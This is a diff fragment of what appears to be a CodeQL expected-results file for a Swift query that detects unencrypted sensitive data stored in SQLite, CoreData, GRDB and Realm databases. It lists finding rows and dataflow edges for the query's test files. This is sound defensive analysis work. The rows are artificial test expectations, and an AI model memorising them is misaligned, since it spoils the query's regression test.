stores '...?' in a database. It may contain unencrypted sensitive data from $@. | testCoreData2.swift:48:34:48:34 | bankAccountNo | bankAccountNo | +| testCoreData2.swift:50:2:50:10 | ...? | testCoreData2.swift:50:35:50:35 | bankAccountNo | testCoreData2.swift:50:2:50:10 | [post] ...? | This operation stores '...?' in a database. It may contain unencrypted sensitive data from $@. | testCoreData2.swift:50:35:50:35 | bankAccountNo | bankAccountNo | +| testCoreData2.swift:52:2:52:10 | ...? | testCoreData2.swift:52:41:52:41 | bankAccountNo | testCoreData2.swift:52:2:52:10 | [post] ...? | This operation stores '...?' in a database. It may contain unencrypted sensitive data from $@. | testCoreData2.swift:52:41:52:41 | bankAccountNo | bankAccountNo | +| testCoreData2.swift:57:3:57:3 | obj | testCoreData2.swift:57:29:57:29 | bankAccountNo | testCoreData2.swift:57:3:57:3 | [post] obj | This operation stores 'obj' in a database. It may contain unencrypted sensitive data from $@. | testCoreData2.swift:57:29:57:29 | bankAccountNo | bankAccountNo | +| testCoreData2.swift:60:4:60:4 | obj | testCoreData2.swift:60:30:60:30 | bankAccountNo | testCoreData2.swift:60:4:60:4 | [post] obj | This operation stores 'obj' in a database. It may contain unencrypted sensitive data from $@. | testCoreData2.swift:60:30:60:30 | bankAccountNo | bankAccountNo | +| testCoreData2.swift:62:4:62:4 | obj | testCoreData2.swift:62:30:62:30 | bankAccountNo | testCoreData2.swift:62:4:62:4 | [post] obj | This operation stores 'obj' in a database. It may contain unencrypted sensitive data from $@. | testCoreData2.swift:62:30:62:30 | bankAccountNo | bankAccountNo | +| testCoreData2.swift:65:3:65:3 | obj | testCoreData2.swift:65:29:65:29 | bankAccountNo | testCoreData2.swift:65:3:65:3 | [post] obj | This operation stores 'obj' in a database. It may contain unencrypted sensitive data from $@. | testCoreData2.swift:65:29:65:29 | bankAccountNo | bankAccountNo | +| testCoreData2.swift:79:2:79:2 | dbObj | testCoreData2.swift:79:18:79:28 | .bankAccountNo | testCoreData2.swift:79:2:79:2 | [post] dbObj | This operation stores 'dbObj' in a database. It may contain unencrypted sensitive data from $@. | testCoreData2.swift:79:18:79:28 | .bankAccountNo | .bankAccountNo | +| testCoreData2.swift:80:2:80:2 | dbObj | testCoreData2.swift:80:18:80:28 | .bankAccountNo2 | testCoreData2.swift:80:2:80:2 | [post] dbObj | This operation stores 'dbObj' in a database. It may contain unencrypted sensitive data from $@. | testCoreData2.swift:80:18:80:28 | .bankAccountNo2 | .bankAccountNo2 | +| testCoreData2.swift:82:2:82:2 | dbObj | testCoreData2.swift:82:18:82:18 | bankAccountNo | testCoreData2.swift:82:2:82:2 | [post] dbObj | This operation stores 'dbObj' in a database. It may contain unencrypted sensitive data from $@. | testCoreData2.swift:82:18:82:18 | bankAccountNo | bankAccountNo | +| testCoreData2.swift:83:2:83:2 | dbObj | testCoreData2.swift:83:18:83:18 | bankAccountNo | testCoreData2.swift:83:2:83:2 | [post] dbObj | This operation stores 'dbObj' in a database. It may contain unencrypted sensitive data from $@. | testCoreData2.swift:83:18:83:18 | bankAccountNo | bankAccountNo | +| testCoreData2.swift:84:2:84:2 | dbObj | testCoreData2.swift:84:18:84:18 | bankAccountNo2 | testCoreData2.swift:84:2:84:2 | [post] dbObj | This operation stores 'dbObj' in a database. It may contain unencrypted sensitive data from $@. | testCoreData2.swift:84:18:84:18 | bankAccountNo2 | bankAccountNo2 | +| testCoreData2.swift:85:2:85:2 | dbObj | testCoreData2.swift:85:18:85:18 | bankAccountNo2 | testCoreData2.swift:85:2:85:2 | [post] dbObj | This operation stores 'dbObj' in a database. It may contain unencrypted sensitive data from $@. | testCoreData2.swift:85:18:85:18 | bankAccountNo2 | bankAccountNo2 | +| testCoreData2.swift:87:2:87:10 | ...? | testCoreData2.swift:87:22:87:32 | .bankAccountNo | testCoreData2.swift:87:2:87:10 | [post] ...? | This operation stores '...?' in a database. It may contain unencrypted sensitive data from $@. | testCoreData2.swift:87:22:87:32 | .bankAccountNo | .bankAccountNo | +| testCoreData2.swift:88:2:88:10 | ...? | testCoreData2.swift:88:22:88:22 | bankAccountNo | testCoreData2.swift:88:2:88:10 | [post] ...? | This operation stores '...?' in a database. It may contain unencrypted sensitive data from $@. | testCoreData2.swift:88:22:88:22 | bankAccountNo | bankAccountNo | +| testCoreData2.swift:89:2:89:10 | ...? | testCoreData2.swift:89:22:89:22 | bankAccountNo2 | testCoreData2.swift:89:2:89:10 | [post] ...? | This operation stores '...?' in a database. It may contain unencrypted sensitive data from $@. | testCoreData2.swift:89:22:89:22 | bankAccountNo2 | bankAccountNo2 | +| testCoreData2.swift:93:2:93:2 | dbObj | testCoreData2.swift:91:10:91:10 | bankAccountNo | testCoreData2.swift:93:2:93:2 | [post] dbObj | This operation stores 'dbObj' in a database. It may contain unencrypted sensitive data from $@. | testCoreData2.swift:91:10:91:10 | bankAccountNo | bankAccountNo | +| testCoreData2.swift:98:2:98:2 | dbObj | testCoreData2.swift:95:10:95:10 | bankAccountNo | testCoreData2.swift:98:2:98:2 | [post] dbObj | This operation stores 'dbObj' in a database. It may contain unencrypted sensitive data from $@. | testCoreData2.swift:95:10:95:10 | bankAccountNo | bankAccountNo | +| testCoreData2.swift:104:2:104:2 | dbObj | testCoreData2.swift:101:10:101:10 | bankAccountNo | testCoreData2.swift:104:2:104:2 | [post] dbObj | This operation stores 'dbObj' in a database. It may contain unencrypted sensitive data from $@. | testCoreData2.swift:101:10:101:10 | bankAccountNo | bankAccountNo | +| testCoreData2.swift:105:2:105:2 | dbObj | testCoreData2.swift:101:10:101:10 | bankAccountNo | testCoreData2.swift:105:2:105:2 | [post] dbObj | This operation stores 'dbObj' in a database. It may contain unencrypted sensitive data from $@. | testCoreData2.swift:101:10:101:10 | bankAccountNo | bankAccountNo | +| testCoreData.swift:19:12:19:12 | value | testCoreData.swift:61:25:61:25 | password | testCoreData.swift:19:12:19:12 | value | This operation stores 'value' in a database. It may contain unencrypted sensitive data from $@. | testCoreData.swift:61:25:61:25 | password | password | +| testCoreData.swift:32:13:32:13 | newValue | testCoreData.swift:64:16:64:16 | password | testCoreData.swift:32:13:32:13 | newValue | This operation stores 'newValue' in a database. It may contain unencrypted sensitive data from $@. | testCoreData.swift:64:16:64:16 | password | password | +| testCoreData.swift:48:15:48:15 | password | testCoreData.swift:48:15:48:15 | password | testCoreData.swift:48:15:48:15 | password | This operation stores 'password' in a database. It may contain unencrypted sensitive data from $@. | testCoreData.swift:48:15:48:15 | password | password | +| testCoreData.swift:51:24:51:24 | password | testCoreData.swift:51:24:51:24 | password | testCoreData.swift:51:24:51:24 | password | This operation stores 'password' in a database. It may contain unencrypted sensitive data from $@. | testCoreData.swift:51:24:51:24 | password | password | +| testCoreData.swift:58:15:58:15 | password | testCoreData.swift:58:15:58:15 | password | testCoreData.swift:58:15:58:15 | password | This operation stores 'password' in a database. It may contain unencrypted sensitive data from $@. | testCoreData.swift:58:15:58:15 | password | password | +| testCoreData.swift:64:2:64:2 | obj | testCoreData.swift:64:16:64:16 | password | testCoreData.swift:64:2:64:2 | [post] obj | This operation stores 'obj' in a database. It may contain unencrypted sensitive data from $@. | testCoreData.swift:64:16:64:16 | password | password | +| testCoreData.swift:78:15:78:15 | x | testCoreData.swift:77:24:77:24 | x | testCoreData.swift:78:15:78:15 | x | This operation stores 'x' in a database. It may contain unencrypted sensitive data from $@. | testCoreData.swift:77:24:77:24 | x | x | +| testCoreData.swift:81:15:81:15 | y | testCoreData.swift:80:10:80:22 | call to getPassword() | testCoreData.swift:81:15:81:15 | y | This operation stores 'y' in a database. It may contain unencrypted sensitive data from $@. | testCoreData.swift:80:10:80:22 | call to getPassword() | call to getPassword() | +| testCoreData.swift:85:15:85:17 | .password | testCoreData.swift:85:15:85:17 | .password | testCoreData.swift:85:15:85:17 | .password | This operation stores '.password' in a database. It may contain unencrypted sensitive data from $@. | testCoreData.swift:85:15:85:17 | .password | .password | +| testCoreData.swift:95:15:95:15 | x | testCoreData.swift:91:10:91:10 | passwd | testCoreData.swift:95:15:95:15 | x | This operation stores 'x' in a database. It may contain unencrypted sensitive data from $@. | testCoreData.swift:91:10:91:10 | passwd | passwd | +| testCoreData.swift:96:15:96:15 | y | testCoreData.swift:92:10:92:10 | passwd | testCoreData.swift:96:15:96:15 | y | This operation stores 'y' in a database. It may contain unencrypted sensitive data from $@. | testCoreData.swift:92:10:92:10 | passwd | passwd | +| testCoreData.swift:97:15:97:15 | z | testCoreData.swift:93:10:93:10 | passwd | testCoreData.swift:97:15:97:15 | z | This operation stores 'z' in a database. It may contain unencrypted sensitive data from $@. | testCoreData.swift:93:10:93:10 | passwd | passwd | +| testCoreData.swift:128:15:128:33 | call to generateSecretKey() | testCoreData.swift:128:15:128:33 | call to generateSecretKey() | testCoreData.swift:128:15:128:33 | call to generateSecretKey() | This operation stores 'call to generateSecretKey()' in a database. It may contain unencrypted sensitive data from $@. | testCoreData.swift:128:15:128:33 | call to generateSecretKey() | call to generateSecretKey() | +| testCoreData.swift:129:15:129:30 | call to getCertificate() | testCoreData.swift:129:15:129:30 | call to getCertificate() | testCoreData.swift:129:15:129:30 | call to getCertificate() | This operation stores 'call to getCertificate()' in a database. It may contain unencrypted sensitive data from $@. | testCoreData.swift:129:15:129:30 | call to getCertificate() | call to getCertificate() | +| testGRDB.swift:73:56:73:65 | [...] | testGRDB.swift:73:57:73:57 | password | testGRDB.swift:73:56:73:65 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:73:57:73:57 | password | password | +| testGRDB.swift:76:42:76:51 | [...] | testGRDB.swift:76:43:76:43 | password | testGRDB.swift:76:42:76:51 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:76:43:76:43 | password | password | +| testGRDB.swift:81:44:81:53 | [...] | testGRDB.swift:81:45:81:45 | password | testGRDB.swift:81:44:81:53 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:81:45:81:45 | password | password | +| testGRDB.swift:83:44:83:53 | [...] | testGRDB.swift:83:45:83:45 | password | testGRDB.swift:83:44:83:53 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:83:45:83:45 | password | password | +| testGRDB.swift:85:44:85:53 | [...] | testGRDB.swift:85:45:85:45 | password | testGRDB.swift:85:44:85:53 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:85:45:85:45 | password | password | +| testGRDB.swift:87:44:87:53 | [...] | testGRDB.swift:87:45:87:45 | password | testGRDB.swift:87:44:87:53 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:87:45:87:45 | password | password | +| testGRDB.swift:92:37:92:46 | [...] | testGRDB.swift:92:38:92:38 | password | testGRDB.swift:92:37:92:46 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:92:38:92:38 | password | password | +| testGRDB.swift:95:36:95:45 | [...] | testGRDB.swift:95:37:95:37 | password | testGRDB.swift:95:36:95:45 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:95:37:95:37 | password | password | +| testGRDB.swift:100:72:100:81 | [...] | testGRDB.swift:100:73:100:73 | password | testGRDB.swift:100:72:100:81 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:100:73:100:73 | password | password | +| testGRDB.swift:101:72:101:81 | [...] | testGRDB.swift:101:73:101:73 | password | testGRDB.swift:101:72:101:81 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:101:73:101:73 | password | password | +| testGRDB.swift:107:52:107:61 | [...] | testGRDB.swift:107:53:107:53 | password | testGRDB.swift:107:52:107:61 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:107:53:107:53 | password | password | +| testGRDB.swift:109:52:109:61 | [...] | testGRDB.swift:109:53:109:53 | password | testGRDB.swift:109:52:109:61 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:109:53:109:53 | password | password | +| testGRDB.swift:111:51:111:60 | [...] | testGRDB.swift:111:52:111:52 | password | testGRDB.swift:111:51:111:60 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:111:52:111:52 | password | password | +| testGRDB.swift:116:47:116:56 | [...] | testGRDB.swift:116:48:116:48 | password | testGRDB.swift:116:47:116:56 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:116:48:116:48 | password | password | +| testGRDB.swift:118:47:118:56 | [...] | testGRDB.swift:118:48:118:48 | password | testGRDB.swift:118:47:118:56 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:118:48:118:48 | password | password | +| testGRDB.swift:121:44:121:53 | [...] | testGRDB.swift:121:45:121:45 | password | testGRDB.swift:121:44:121:53 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:121:45:121:45 | password | password | +| testGRDB.swift:123:44:123:53 | [...] | testGRDB.swift:123:45:123:45 | password | testGRDB.swift:123:44:123:53 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:123:45:123:45 | password | password | +| testGRDB.swift:126:44:126:53 | [...] | testGRDB.swift:126:45:126:45 | password | testGRDB.swift:126:44:126:53 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:126:45:126:45 | password | password | +| testGRDB.swift:128:44:128:53 | [...] | testGRDB.swift:128:45:128:45 | password | testGRDB.swift:128:44:128:53 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:128:45:128:45 | password | password | +| testGRDB.swift:131:44:131:53 | [...] | testGRDB.swift:131:45:131:45 | password | testGRDB.swift:131:44:131:53 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:131:45:131:45 | password | password | +| testGRDB.swift:133:44:133:53 | [...] | testGRDB.swift:133:45:133:45 | password | testGRDB.swift:133:44:133:53 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:133:45:133:45 | password | password | +| testGRDB.swift:138:68:138:77 | [...] | testGRDB.swift:138:69:138:69 | password | testGRDB.swift:138:68:138:77 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:138:69:138:69 | password | password | +| testGRDB.swift:140:68:140:77 | [...] | testGRDB.swift:140:69:140:69 | password | testGRDB.swift:140:68:140:77 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:140:69:140:69 | password | password | +| testGRDB.swift:143:65:143:74 | [...] | testGRDB.swift:143:66:143:66 | password | testGRDB.swift:143:65:143:74 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:143:66:143:66 | password | password | +| testGRDB.swift:145:65:145:74 | [...] | testGRDB.swift:145:66:145:66 | password | testGRDB.swift:145:65:145:74 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:145:66:145:66 | password | password | +| testGRDB.swift:148:65:148:74 | [...] | testGRDB.swift:148:66:148:66 | password | testGRDB.swift:148:65:148:74 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:148:66:148:66 | password | password | +| testGRDB.swift:150:65:150:74 | [...] | testGRDB.swift:150:66:150:66 | password | testGRDB.swift:150:65:150:74 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:150:66:150:66 | password | password | +| testGRDB.swift:153:65:153:74 | [...] | testGRDB.swift:153:66:153:66 | password | testGRDB.swift:153:65:153:74 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:153:66:153:66 | password | password | +| testGRDB.swift:155:65:155:74 | [...] | testGRDB.swift:155:66:155:66 | password | testGRDB.swift:155:65:155:74 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:155:66:155:66 | password | password | +| testGRDB.swift:160:59:160:68 | [...] | testGRDB.swift:160:60:160:60 | password | testGRDB.swift:160:59:160:68 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:160:60:160:60 | password | password | +| testGRDB.swift:161:50:161:59 | [...] | testGRDB.swift:161:51:161:51 | password | testGRDB.swift:161:50:161:59 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:161:51:161:51 | password | password | +| testGRDB.swift:164:59:164:68 | [...] | testGRDB.swift:164:60:164:60 | password | testGRDB.swift:164:59:164:68 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:164:60:164:60 | password | password | +| testGRDB.swift:165:50:165:59 | [...] | testGRDB.swift:165:51:165:51 | password | testGRDB.swift:165:50:165:59 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:165:51:165:51 | password | password | +| testGRDB.swift:169:56:169:65 | [...] | testGRDB.swift:169:57:169:57 | password | testGRDB.swift:169:56:169:65 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:169:57:169:57 | password | password | +| testGRDB.swift:170:47:170:56 | [...] | testGRDB.swift:170:48:170:48 | password | testGRDB.swift:170:47:170:56 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:170:48:170:48 | password | password | +| testGRDB.swift:173:56:173:65 | [...] | testGRDB.swift:173:57:173:57 | password | testGRDB.swift:173:56:173:65 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:173:57:173:57 | password | password | +| testGRDB.swift:174:47:174:56 | [...] | testGRDB.swift:174:48:174:48 | password | testGRDB.swift:174:47:174:56 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:174:48:174:48 | password | password | +| testGRDB.swift:178:56:178:65 | [...] | testGRDB.swift:178:57:178:57 | password | testGRDB.swift:178:56:178:65 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:178:57:178:57 | password | password | +| testGRDB.swift:179:47:179:56 | [...] | testGRDB.swift:179:48:179:48 | password | testGRDB.swift:179:47:179:56 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:179:48:179:48 | password | password | +| testGRDB.swift:182:56:182:65 | [...] | testGRDB.swift:182:57:182:57 | password | testGRDB.swift:182:56:182:65 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:182:57:182:57 | password | password | +| testGRDB.swift:183:47:183:56 | [...] | testGRDB.swift:183:48:183:48 | password | testGRDB.swift:183:47:183:56 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:183:48:183:48 | password | password | +| testGRDB.swift:187:56:187:65 | [...] | testGRDB.swift:187:57:187:57 | password | testGRDB.swift:187:56:187:65 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:187:57:187:57 | password | password | +| testGRDB.swift:188:47:188:56 | [...] | testGRDB.swift:188:48:188:48 | password | testGRDB.swift:188:47:188:56 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:188:48:188:48 | password | password | +| testGRDB.swift:191:56:191:65 | [...] | testGRDB.swift:191:57:191:57 | password | testGRDB.swift:191:56:191:65 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:191:57:191:57 | password | password | +| testGRDB.swift:192:47:192:56 | [...] | testGRDB.swift:192:48:192:48 | password | testGRDB.swift:192:47:192:56 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:192:48:192:48 | password | password | +| testGRDB.swift:198:29:198:38 | [...] | testGRDB.swift:198:30:198:30 | password | testGRDB.swift:198:29:198:38 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:198:30:198:30 | password | password | +| testGRDB.swift:201:23:201:32 | [...] | testGRDB.swift:201:24:201:24 | password | testGRDB.swift:201:23:201:32 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:201:24:201:24 | password | password | +| testGRDB.swift:206:66:206:75 | [...] | testGRDB.swift:206:67:206:67 | password | testGRDB.swift:206:66:206:75 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:206:67:206:67 | password | password | +| testGRDB.swift:208:80:208:89 | [...] | testGRDB.swift:208:81:208:81 | password | testGRDB.swift:208:80:208:89 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:208:81:208:81 | password | password | +| testGRDB.swift:210:84:210:93 | [...] | testGRDB.swift:210:85:210:85 | password | testGRDB.swift:210:84:210:93 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:210:85:210:85 | password | password | +| testGRDB.swift:212:98:212:107 | [...] | testGRDB.swift:212:99:212:99 | password | testGRDB.swift:212:98:212:107 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:212:99:212:99 | password | password | +| testRealm2.swift:18:2:18:2 | o | testRealm2.swift:18:11:18:11 | myPassword | testRealm2.swift:18:2:18:2 | [post] o | This operation stores 'o' in a database. It may contain unencrypted sensitive data from $@. | testRealm2.swift:18:11:18:11 | myPassword | myPassword | +| testRealm2.swift:24:2:24:2 | o | testRealm2.swift:24:11:24:11 | socialSecurityNumber | testRealm2.swift:24:2:24:2 | [post] o | This operation stores 'o' in a database. It may contain unencrypted sensitive data from $@. | testRealm2.swift:24:11:24:11 | socialSecurityNumber | socialSecurityNumber | +| testRealm2.swift:25:2:25:2 | o | testRealm2.swift:25:11:25:11 | ssn | testRealm2.swift:25:2:25:2 | [post] o | This operation stores 'o' in a database. It may contain unencrypted sensitive data from $@. | testRealm2.swift:25:11:25:11 | ssn | ssn | +| testRealm2.swift:26:2:26:2 | o | testRealm2.swift:26:18:26:18 | ssn_int | testRealm2.swift:26:2:26:2 | [post] o | This operation stores 'o' in a database. It may contain unencrypted sensitive data from $@. | testRealm2.swift:26:18:26:18 | ssn_int | ssn_int | +| testRealm2.swift:32:2:32:2 | o | testRealm2.swift:32:11:32:11 | creditCardNumber | testRealm2.swift:32:2:32:2 | [post] o | This operation stores 'o' in a database. It may contain unencrypted sensitive data from $@. | testRealm2.swift:32:11:32:11 | creditCardNumber | creditCardNumber | +| testRealm2.swift:33:2:33:2 | o | testRealm2.swift:33:11:33:11 | CCN | testRealm2.swift:33:2:33:2 | [post] o | This operation stores 'o' in a database. It may contain unencrypted sensitive data from $@. | testRealm2.swift:33:11:33:11 | CCN | CCN | +| testRealm2.swift:34:2:34:2 | o | testRealm2.swift:34:18:34:18 | int_ccn | testRealm2.swift:34:2:34:2 | [post] o | This operation stores 'o' in a database. It may contain unencrypted sensitive data from $@. | testRealm2.swift:34:18:34:18 | int_ccn | int_ccn | +| testRealm.swift:41:2:41:2 | a | testRealm.swift:41:11:41:11 | myPassword | testRealm.swift:41:2:41:2 | [post] a | This operation stores 'a' in a database. It may contain unencrypted sensitive data from $@. | testRealm.swift:41:11:41:11 | myPassword | myPassword | +| testRealm.swift:49:2:49:2 | c | testRealm.swift:49:11:49:11 | myPassword | testRealm.swift:49:2:49:2 | [post] c | This operation stores 'c' in a database. It may contain unencrypted sensitive data from $@. | testRealm.swift:49:11:49:11 | myPassword | myPassword | +| testRealm.swift:59:2:59:3 | ...! | testRealm.swift:59:12:59:12 | myPassword | testRealm.swift:59:2:59:3 | [post] ...! | This operation stores '...!' in a database. It may contain unencrypted sensitive data from $@. | testRealm.swift:59:12:59:12 | myPassword | myPassword | +| testRealm.swift:66:2:66:2 | g | testRealm.swift:66:11:66:11 | myPassword | testRealm.swift:66:2:66:2 | [post] g | This operation stores 'g' in a database. It may contain unencrypted sensitive data from $@. | testRealm.swift:66:11:66:11 | myPassword | myPassword | +| testRealm.swift:73:2:73:2 | h | testRealm.swift:73:15:73:15 | myPassword | testRealm.swift:73:2:73:2 | [post] h | This operation stores 'h' in a database. It may contain unencrypted sensitive data from $@. | testRealm.swift:73:15:73:15 | myPassword | myPassword | edges | SQLite.swift:119:70:119:70 | mobilePhoneNumber | SQLite.swift:123:17:123:17 | insertQuery | provenance | | | SQLite.swift:119:70:119:70 | mobilePhoneNumber | SQLite.swift:127:21:127:21 | insertQuery | provenance | | @@ -622,143 +762,3 @@ subpaths | testRealm.swift:59:12:59:12 | myPassword | testRealm.swift:27:6:27:6 | value | testRealm.swift:27:6:27:6 | self [Return] [data] | testRealm.swift:59:2:59:3 | [post] ...! | | testRealm.swift:66:11:66:11 | myPassword | testRealm.swift:27:6:27:6 | value | testRealm.swift:27:6:27:6 | self [Return] [data] | testRealm.swift:66:2:66:2 | [post] g | | testRealm.swift:73:15:73:15 | myPassword | testRealm.swift:34:6:34:6 | value | testRealm.swift:34:6:34:6 | self [Return] [password] | testRealm.swift:73:2:73:2 | [post] h | -#select -| SQLite.swift:123:17:123:17 | insertQuery | SQLite.swift:119:70:119:70 | mobilePhoneNumber | SQLite.swift:123:17:123:17 | insertQuery | This operation stores 'insertQuery' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:119:70:119:70 | mobilePhoneNumber | mobilePhoneNumber | -| SQLite.swift:124:17:124:17 | updateQuery | SQLite.swift:120:50:120:50 | mobilePhoneNumber | SQLite.swift:124:17:124:17 | updateQuery | This operation stores 'updateQuery' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:120:50:120:50 | mobilePhoneNumber | mobilePhoneNumber | -| SQLite.swift:127:21:127:21 | insertQuery | SQLite.swift:119:70:119:70 | mobilePhoneNumber | SQLite.swift:127:21:127:21 | insertQuery | This operation stores 'insertQuery' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:119:70:119:70 | mobilePhoneNumber | mobilePhoneNumber | -| SQLite.swift:128:21:128:21 | updateQuery | SQLite.swift:120:50:120:50 | mobilePhoneNumber | SQLite.swift:128:21:128:21 | updateQuery | This operation stores 'updateQuery' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:120:50:120:50 | mobilePhoneNumber | mobilePhoneNumber | -| SQLite.swift:131:17:131:17 | insertQuery | SQLite.swift:119:70:119:70 | mobilePhoneNumber | SQLite.swift:131:17:131:17 | insertQuery | This operation stores 'insertQuery' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:119:70:119:70 | mobilePhoneNumber | mobilePhoneNumber | -| SQLite.swift:132:17:132:17 | updateQuery | SQLite.swift:120:50:120:50 | mobilePhoneNumber | SQLite.swift:132:17:132:17 | updateQuery | This operation stores 'updateQuery' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:120:50:120:50 | mobilePhoneNumber | mobilePhoneNumber | -| SQLite.swift:135:20:135:20 | insertQuery | SQLite.swift:119:70:119:70 | mobilePhoneNumber | SQLite.swift:135:20:135:20 | insertQuery | This operation stores 'insertQuery' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:119:70:119:70 | mobilePhoneNumber | mobilePhoneNumber | -| SQLite.swift:136:20:136:20 | updateQuery | SQLite.swift:120:50:120:50 | mobilePhoneNumber | SQLite.swift:136:20:136:20 | updateQuery | This operation stores 'updateQuery' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:120:50:120:50 | mobilePhoneNumber | mobilePhoneNumber | -| SQLite.swift:139:24:139:24 | insertQuery | SQLite.swift:119:70:119:70 | mobilePhoneNumber | SQLite.swift:139:24:139:24 | insertQuery | This operation stores 'insertQuery' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:119:70:119:70 | mobilePhoneNumber | mobilePhoneNumber | -| SQLite.swift:140:24:140:24 | updateQuery | SQLite.swift:120:50:120:50 | mobilePhoneNumber | SQLite.swift:140:24:140:24 | updateQuery | This operation stores 'updateQuery' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:120:50:120:50 | mobilePhoneNumber | mobilePhoneNumber | -| SQLite.swift:147:32:147:32 | [...] | SQLite.swift:147:32:147:32 | mobilePhoneNumber | SQLite.swift:147:32:147:32 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:147:32:147:32 | mobilePhoneNumber | mobilePhoneNumber | -| SQLite.swift:148:28:148:28 | [...] | SQLite.swift:148:28:148:28 | mobilePhoneNumber | SQLite.swift:148:28:148:28 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:148:28:148:28 | mobilePhoneNumber | mobilePhoneNumber | -| SQLite.swift:149:31:149:31 | [...] | SQLite.swift:149:31:149:31 | mobilePhoneNumber | SQLite.swift:149:31:149:31 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:149:31:149:31 | mobilePhoneNumber | mobilePhoneNumber | -| SQLite.swift:152:21:152:21 | [...] | SQLite.swift:152:21:152:21 | mobilePhoneNumber | SQLite.swift:152:21:152:21 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:152:21:152:21 | mobilePhoneNumber | mobilePhoneNumber | -| SQLite.swift:153:20:153:20 | [...] | SQLite.swift:153:20:153:20 | mobilePhoneNumber | SQLite.swift:153:20:153:20 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | 